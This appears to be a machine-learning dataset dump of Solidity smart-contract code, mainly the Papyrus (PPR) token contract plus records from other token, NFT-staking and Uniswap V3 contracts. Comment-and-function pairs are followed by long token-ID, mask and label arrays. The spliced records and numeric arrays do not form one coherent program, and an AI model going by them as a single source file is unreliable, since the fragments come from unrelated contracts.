/// Method approve() should be called when _allowances[spender] == 0. To decrement allowance
/// is better to use this function to avoid 2 calls (and wait until the first transaction is mined).
/// @param owner The address which owns the tokens.
/// @param spender The address which will spend the tokens.
/// @param value The amount of tokens to increase the allowance by.
function _increaseAllowance(address owner, address spender, uint256 value) internal {
require(value > 0);
_allowances[owner][spender] = _allowances[owner][spender].add(value);
emit Approval(owner, spender, _allowances[owner][spender]);
}
/// @dev Decreases the amount of tokens that an owner allowed to spent by the spender.
/// Method approve() should be called when _allowances[spender] == 0. To decrement allowance
/// is better to use this function to avoid 2 calls (and wait until the first transaction is mined).
/// @param owner The address which owns the tokens.
/// @param spender The address which will spend the tokens.
/// @param value The amount of tokens to decrease the allowance by.
function _decreaseAllowance(address owner, address spender, uint256 value) internal {
require(value > 0 && value <= _allowances[owner][spender]);
_allowances[owner][spender] = _allowances[owner][spender].sub(value);
emit Approval(owner, spender, _allowances[owner][spender]);
}
/// @dev Internal function that mints specified amount of tokens and assigns it to an address.
/// This encapsulates the modification of balances such that the proper events are emitted.
/// @param receiver The address that will receive the minted tokens.
/// @param value The amount of tokens that will be minted.
function _mint(address receiver, uint256 value) internal {
require(receiver != address(0));
require(value > 0);
_balances[receiver] = _balances[receiver].add(value);
_totalSupply = _totalSupply.add(value);
//_totalMinted = _totalMinted.add(value);
emit Transfer(address(0), receiver, value);
}
/// @dev Internal function that burns specified amount of tokens of a given address.
/// @param burner The address from which tokens will be burnt.
/// @param value The amount of tokens that will be burnt.
function _burn(address burner, uint256 value) internal {
require(burner != address(0));
require(value > 0 && value <= _balances[burner]);
_balances[burner] = _balances[burner].sub(value);
_totalSupply = _totalSupply.sub(value);
emit Transfer(burner, address(0), value);
}
/// @dev Internal function that burns specified amount of tokens of a given address,
/// deducting from the sender's allowance for said account. Uses the internal burn function.
/// @param burner The address from which tokens will be burnt.
/// @param value The amount of tokens that will be burnt.
function _burnFrom(address burner, uint256 value) internal {
_decreaseAllowance(burner, msg.sender, value);
_burn(burner, value);
}
// FIELDS
uint256 internal _totalSupply;
mapping (address => uint256) internal _balances;
mapping (address => mapping(address => uint256)) internal _allowances;
}
/// @title Papyrus Token contract (PPR).
contract PapyrusToken is SafeOwnable, TokenERC20, ERC677, ERC677Bridgeable {
// EVENTS
event ControlByOwnerRevoked();
event MintableChanged(bool mintable);
event TransferableChanged(bool transferable);
event ContractFallbackCallFailed(address from, address to, uint256 value);
event BridgeContractChanged(address indexed previousBridgeContract, address indexed newBridgeContract);
// PUBLIC FUNCTIONS
constructor() public {
_totalSupply = PPR_INITIAL_SUPPLY;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
/// @dev Transfers tokens to a specified address with additional data if the recipient is a contact.
/// @param to The address to transfer tokens to.
/// @param value The amount of tokens to be transferred.
/// @param data The extra data to be passed to the receiving contract.
/// @return A boolean that indicates if the operation was successful.
function transferAndCall(address to, uint256 value, bytes data) external canTransfer returns (bool) {
require(to != address(this));
require(super.transfer(to, value));
emit Transfer(msg.sender, to, value, data);
if (isContract(to)) {
require(contractFallback(msg.sender, to, value, data));
}
return true;
}
/// @dev Transfers tokens to a specified address.
/// @param to The address to transfer tokens to.
/// @param value The amount of tokens to be transferred.
/// @return A boolean that indicates if the operation was successful.
function transfer(address to, uint256 value) public canTransfer returns (bool) {
require(super.transfer(to, value));
if (isContract(to) && !contractFallback(msg.sender, to, value, new bytes(0))) {
if (to == _bridgeContract) {
revert();
}
emit ContractFallbackCallFailed(msg.sender, to, value);
}
return true;
}
/// @dev Transfers tokens from one address to another.
/// @param from The address to transfer tokens from.
/// @param to The address to transfer tokens to.
/// @param value The amount of tokens to be transferred.
/// @return A boolean that indicates if the operation was successful.
function transferFrom(address from, address to, uint256 value) public canTransfer returns (bool) {
require(super.transferFrom(from, to, value));
if (isContract(to) && !contractFallback(from, to, value, new bytes(0))) {
if (to == _bridgeContract) {
revert();
}
emit ContractFallbackCallFailed(from, to, value);
}
return true;
}
/// @dev Transfers tokens to a specified addresses (optimized version for initial sending tokens).
/// @param recipients Addresses to transfer tokens to.
/// @param values Amounts of tokens to be transferred.
/// @return A boolean that indicates if the operation was successful.
function airdrop(address[] recipients, uint256[] values) public canTransfer returns (bool) {
require(recipients.length == values.length);
uint256 senderBalance = _balances[msg.sender];
for (uint256 i = 0; i < values.length; i++) {
uint256 value = values[i];
address to = recipients[i];
require(senderBalance >= value);
if (msg.sender != recipients[i]) {
senderBalance = senderBalance - value;
_balances[to] += value;
}
emit Transfer(msg.sender, to, value);
}
_balances[msg.sender] = senderBalance;
return true;
}
/// @dev Mints specified amount of tokens and assigns it to a specified address.
/// @param receiver The address that will receive the minted tokens.
/// @param value The amount of tokens that will be minted.
function mint(address receiver, uint256 value) public canMint returns (bool) {
_mint(receiver, value);
_totalMinted = _totalMinted.add(value);
emit Mint(receiver, value);
return true;
}
/// @dev Burns specified amount of tokens of the sender.
/// @param value The amount of token to be burnt.
function burn(uint256 value) public canBurn {
_burn(msg.sender, value);
_totalBurnt = _totalBurnt.add(value);
emit Burn(msg.sender, value);
}
/// @dev Burns specified amount of tokens of the specified account.
/// @param burner The address from which tokens will be burnt.
/// @param value The amount of token to be burnt.
function burnByOwner(address burner, uint256 value) public canBurnByOwner {
_burn(burner, value);
_totalBurnt = _totalBurnt.add(value);
emit Burn(burner, value);
}
/// @dev Transfers funds stored on the token contract to specified recipient (required by token bridge).
function claimTokens(address token, address to) public onlyOwnerOrBridgeContract {
require(to != address(0));
if (token == address(0)) {
to.transfer(address(this).balance);
} else {
ERC20 erc20 = ERC20(token);
uint256 balance = erc20.balanceOf(address(this));
require(erc20.transfer(to, balance));
}
}
/// @dev Revokes control by owner so it is not possible to burn tokens from any account by contract owner.
function revokeControlByOwner() public onlyOwner {
require(_controllable);
_controllable = false;
emit ControlByOwnerRevoked();
}
/// @dev Changes ability to mint tokens by permissioned accounts.
function setMintable(bool mintable) public onlyOwner {
require(_mintable != mintable);
_mintable = mintable;
emit MintableChanged(_mintable);
}
/// @dev Changes ability to transfer tokens by token holders.
function setTransferable(bool transferable) public onlyOwner {
require(_transferable != transferable);
_transferable = transferable;
emit TransferableChanged(_transferable);
}
/// @dev Changes address of token bridge contract.
function setBridgeContract(address bridgeContract) public onlyOwner {
require(_controllable);
require(bridgeContract != address(0) && bridgeContract != _bridgeContract && isContract(bridgeContract));
emit BridgeContractChanged(_bridgeContract, bridgeContract);
_bridgeContract = bridgeContract;
}
/// @dev Turn off renounceOwnership() method from Ownable contract.
function renounceOwnership() public pure {
revert();
}
/// @dev Returns a boolean flag representing ability to burn tokens from any account by contract owner.
/// @return A boolean that indicates if tokens can be burnt from any account by contract owner.
function controllableByOwner() public view returns (bool) {
return _controllable;
}
/// @dev Returns a boolean flag representing token mint ability.
/// @return A boolean that indicates if tokens can be mintable by permissioned accounts.
function mintable() public view returns (bool) {
return _mintable;
}
/// @dev Returns a boolean flag representing token transfer ability.
/// @return A boolean that indicates if tokens can be transferred by token holders.
function transferable() public view returns (bool) {
return _transferable;
}
/// @dev Returns an address of token bridge contract.
/// @return An address of token bridge contract.
function bridgeContract() public view returns (address) {
return _bridgeContract;
}
/// @dev Returns total amount of minted tokens.
/// @return A uint256 representing the amount of tokens were mint during token lifetime.
function totalMinted() public view returns (uint256) {
return _totalMinted;
}
/// @dev Returns total amount of burnt tokens.
/// @return A uint256 representing the amount of tokens were burnt during token lifetime.
function totalBurnt() public view returns (uint256) {
return _totalBurnt;
}
/// @dev Returns version of token interfaces (required by token bridge).
function getTokenInterfacesVersion() public pure returns (uint64, uint64, uint64) {
uint64 major = 2;
uint64 minor = 0;
uint64 patch = 0;
return (major, minor, patch);
}
// PRIVATE FUNCTIONS
/// @dev Calls method onTokenTransfer() on specified contract address `receiver`.
/// @return A boolean that indicates if the operation was successful.
function contractFallback(address from, address receiver, uint256 value, bytes data) private returns (bool) {
return receiver.call(abi.encodeWithSignature("onTokenTransfer(address,uint256,bytes)", from, value, data));
}
/// @dev Determines if specified address is contract address.
/// @return A boolean that indicates if specified address is contract address.
function isContract(address account) private view returns (bool) {
uint256 codeSize;
assembly { codeSize := extcodesize(account) }
return codeSize > 0;
}
// MODIFIERS
modifier onlyOwnerOrBridgeContract() {
require(msg.sender == _owner || msg.sender == _bridgeContract);
_;
}
modifier canMint() {
require(_mintable);
require(msg.sender == _owner || msg.sender == _bridgeContract);
_;
}
modifier canBurn() {
require(msg.sender == _owner || msg.sender == _bridgeContract);
_;
}
modifier canBurnByOwner() {
require(msg.sender == _owner && _controllable);
_;
}
modifier canTransfer() {
require(_transferable || msg.sender == _owner);
_;
}
// FIELDS
// Standard fields used to describe the token
string public constant name = "Papyrus Token";
string public constant symbol = "PPR";
uint8 public constant decimals = 18;
// At the start of the token existence it is fully controllable by owner
bool private _controllable = true;
// At the start of the token existence it is mintable
bool private _mintable = true;
// At the start of the token existence it is not transferable
bool private _transferable = false;
// Address of token bridge contract
address private _bridgeContract;
// Total amount of tokens minted during token lifetime
uint256 private _totalMinted;
// Total amount of tokens burnt during token lifetime
uint256 private _totalBurnt;
// Amount of initially supplied tokens is constant and equals to 1,000,000,000 PPR
uint256 private constant PPR_INITIAL_SUPPLY = 10**27;
} | @dev Changes ability to mint tokens by permissioned accounts. | function setMintable(bool mintable) public onlyOwner {
require(_mintable != mintable);
_mintable = mintable;
emit MintableChanged(_mintable);
}
| 12,553,094 | [
1,
7173,
7123,
358,
312,
474,
2430,
635,
4132,
329,
9484,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
15430,
474,
429,
12,
6430,
312,
474,
429,
13,
1071,
1338,
5541,
288,
203,
3639,
2583,
24899,
81,
474,
429,
480,
312,
474,
429,
1769,
203,
3639,
389,
81,
474,
429,
273,
312,
474,
429,
31,
203,
3639,
3626,
490,
474,
429,
5033,
24899,
81,
474,
429,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/3/0xBE35EF1f624410945cdBf53b1E838ecd269Aebf1/sources/TrokeraCoin.sol | * @dev Sets the values for {name} and {symbol}, initializes {decimals} with a default value of 18. To select a different value for {decimals}, use {_setupDecimals}. All three of these values are immutable: they can only be set once during construction./ | constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
address msgSender = _msgSender();
_owner = msgSender;
}
| 5,297,630 | [
1,
2785,
326,
924,
364,
288,
529,
97,
471,
288,
7175,
5779,
11643,
288,
31734,
97,
598,
279,
805,
460,
434,
6549,
18,
2974,
2027,
279,
3775,
460,
364,
288,
31734,
5779,
999,
288,
67,
8401,
31809,
5496,
4826,
8925,
434,
4259,
924,
854,
11732,
30,
2898,
848,
1338,
506,
444,
3647,
4982,
16171,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
3885,
261,
1080,
3778,
508,
16,
533,
3778,
3273,
13,
1071,
288,
203,
3639,
389,
529,
273,
508,
31,
203,
3639,
389,
7175,
273,
3273,
31,
203,
3639,
389,
31734,
273,
6549,
31,
203,
540,
1758,
1234,
12021,
273,
389,
3576,
12021,
5621,
203,
3639,
389,
8443,
273,
1234,
12021,
31,
203,
565,
289,
203,
377,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/5/0x02190772D769B657650c1df3424FCaBfC075eF61/sources/contracts/CoinAndNFT.sol | Transfer the Corn to the contract Update the playerCorn mapping Update the playerLastUpdate mapping | function stake(uint256 _tokenId) external nonReentrant {
cornNFTCollection.safeTransferFrom(
msg.sender,
address(this),
_tokenId,
1,
"Staking your corn"
);
playerCorn[msg.sender].value = _tokenId;
playerCorn[msg.sender].isData = true;
playerLastUpdate[msg.sender].isData = true;
playerLastUpdate[msg.sender].value = block.timestamp;
}
| 11,636,457 | [
1,
5912,
326,
9557,
82,
358,
326,
6835,
2315,
326,
7291,
6217,
82,
2874,
2315,
326,
7291,
3024,
1891,
2874,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
384,
911,
12,
11890,
5034,
389,
2316,
548,
13,
3903,
1661,
426,
8230,
970,
288,
203,
3639,
1858,
82,
50,
4464,
2532,
18,
4626,
5912,
1265,
12,
203,
5411,
1234,
18,
15330,
16,
203,
5411,
1758,
12,
2211,
3631,
203,
5411,
389,
2316,
548,
16,
203,
5411,
404,
16,
203,
5411,
315,
510,
6159,
3433,
1858,
82,
6,
203,
3639,
11272,
203,
203,
3639,
7291,
6217,
82,
63,
3576,
18,
15330,
8009,
1132,
273,
389,
2316,
548,
31,
203,
3639,
7291,
6217,
82,
63,
3576,
18,
15330,
8009,
291,
751,
273,
638,
31,
203,
203,
3639,
7291,
3024,
1891,
63,
3576,
18,
15330,
8009,
291,
751,
273,
638,
31,
203,
3639,
7291,
3024,
1891,
63,
3576,
18,
15330,
8009,
1132,
273,
1203,
18,
5508,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x33F24FE72ACdb46A90b71ca4Ac21dd3D3ffE1F2A/sources/contracts/Memecoin.flatten.sol | * @dev Checks whether the given _minterAddress has MINTER_ROLE role @param _minterAddress Address to check for MINTER_ROLE role/ | function isMinter(address _minterAddress)
public
view
returns (bool _isMinter)
{
return hasRole(MINTER_ROLE, _minterAddress);
}
| 4,937,410 | [
1,
4081,
2856,
326,
864,
389,
1154,
387,
1887,
711,
6989,
2560,
67,
16256,
2478,
225,
389,
1154,
387,
1887,
5267,
358,
866,
364,
6989,
2560,
67,
16256,
2478,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
15707,
2761,
12,
2867,
389,
1154,
387,
1887,
13,
203,
565,
1071,
203,
565,
1476,
203,
565,
1135,
261,
6430,
389,
291,
49,
2761,
13,
203,
225,
288,
203,
565,
327,
28335,
12,
6236,
2560,
67,
16256,
16,
389,
1154,
387,
1887,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: BUSL-1.1
pragma solidity =0.7.6;
import './interfaces/IUniswapV3Pool.sol';
import './NoDelegateCall.sol';
import './libraries/LowGasSafeMath.sol';
import './libraries/SafeCast.sol';
import './libraries/Tick.sol';
import './libraries/TickBitmap.sol';
import './libraries/Position.sol';
import './libraries/Oracle.sol';
import './libraries/FullMath.sol';
import './libraries/FixedPoint128.sol';
import './libraries/TransferHelper.sol';
import './libraries/TickMath.sol';
import './libraries/LiquidityMath.sol';
import './libraries/SqrtPriceMath.sol';
import './libraries/SwapMath.sol';
import './interfaces/IUniswapV3PoolDeployer.sol';
import './interfaces/IUniswapV3Factory.sol';
import './interfaces/IERC20Minimal.sol';
import './interfaces/callback/IUniswapV3MintCallback.sol';
import './interfaces/callback/IUniswapV3SwapCallback.sol';
import './interfaces/callback/IUniswapV3FlashCallback.sol';
contract UniswapV3Pool is IUniswapV3Pool, NoDelegateCall {
using LowGasSafeMath for uint256;
using LowGasSafeMath for int256;
using SafeCast for uint256;
using SafeCast for int256;
using Tick for mapping(int24 => Tick.Info);
using TickBitmap for mapping(int16 => uint256);
using Position for mapping(bytes32 => Position.Info);
using Position for Position.Info;
using Oracle for Oracle.Observation[65535];
/// @inheritdoc IUniswapV3PoolImmutables
address public immutable override factory;
/// @inheritdoc IUniswapV3PoolImmutables
address public immutable override token0;
/// @inheritdoc IUniswapV3PoolImmutables
address public immutable override token1;
/// @inheritdoc IUniswapV3PoolImmutables
uint24 public immutable override fee;
/// @inheritdoc IUniswapV3PoolImmutables
int24 public immutable override tickSpacing;
/// @inheritdoc IUniswapV3PoolImmutables
uint128 public immutable override maxLiquidityPerTick;
struct Slot0 {
// the current price
uint160 sqrtPriceX96;
// the current tick
int24 tick;
// the most-recently updated index of the observations array
uint16 observationIndex;
// the current maximum number of observations that are being stored
uint16 observationCardinality;
// the next maximum number of observations to store, triggered in observations.write
uint16 observationCardinalityNext;
// the current protocol fee as a percentage of the swap fee taken on withdrawal
// represented as an integer denominator (1/x)%
uint8 feeProtocol;
// whether the pool is locked
bool unlocked;
}
/// @inheritdoc IUniswapV3PoolState
Slot0 public override slot0;
/// @inheritdoc IUniswapV3PoolState
uint256 public override feeGrowthGlobal0X128;
/// @inheritdoc IUniswapV3PoolState
uint256 public override feeGrowthGlobal1X128;
// accumulated protocol fees in token0/token1 units
struct ProtocolFees {
uint128 token0;
uint128 token1;
}
/// @inheritdoc IUniswapV3PoolState
ProtocolFees public override protocolFees;
/// @inheritdoc IUniswapV3PoolState
uint128 public override liquidity;
/// @inheritdoc IUniswapV3PoolState
mapping(int24 => Tick.Info) public override ticks;
/// @inheritdoc IUniswapV3PoolState
mapping(int16 => uint256) public override tickBitmap;
/// @inheritdoc IUniswapV3PoolState
mapping(bytes32 => Position.Info) public override positions;
/// @inheritdoc IUniswapV3PoolState
Oracle.Observation[65535] public override observations;
/// @dev Mutually exclusive reentrancy protection into the pool to/from a method. This method also prevents entrance
/// to a function before the pool is initialized. The reentrancy guard is required throughout the contract because
/// we use balance checks to determine the payment status of interactions such as mint, swap and flash.
modifier lock() {
require(slot0.unlocked, 'LOK');
slot0.unlocked = false;
_;
slot0.unlocked = true;
}
/// @dev Prevents calling a function from anyone except the address returned by IUniswapV3Factory#owner()
modifier onlyFactoryOwner() {
require(msg.sender == IUniswapV3Factory(factory).owner());
_;
}
constructor() {
int24 _tickSpacing;
(factory, token0, token1, fee, _tickSpacing) = IUniswapV3PoolDeployer(msg.sender).parameters();
tickSpacing = _tickSpacing;
maxLiquidityPerTick = Tick.tickSpacingToMaxLiquidityPerTick(_tickSpacing);
}
/// @dev Common checks for valid tick inputs.
function checkTicks(int24 tickLower, int24 tickUpper) private pure {
require(tickLower < tickUpper, 'TLU');
require(tickLower >= TickMath.MIN_TICK, 'TLM');
require(tickUpper <= TickMath.MAX_TICK, 'TUM');
}
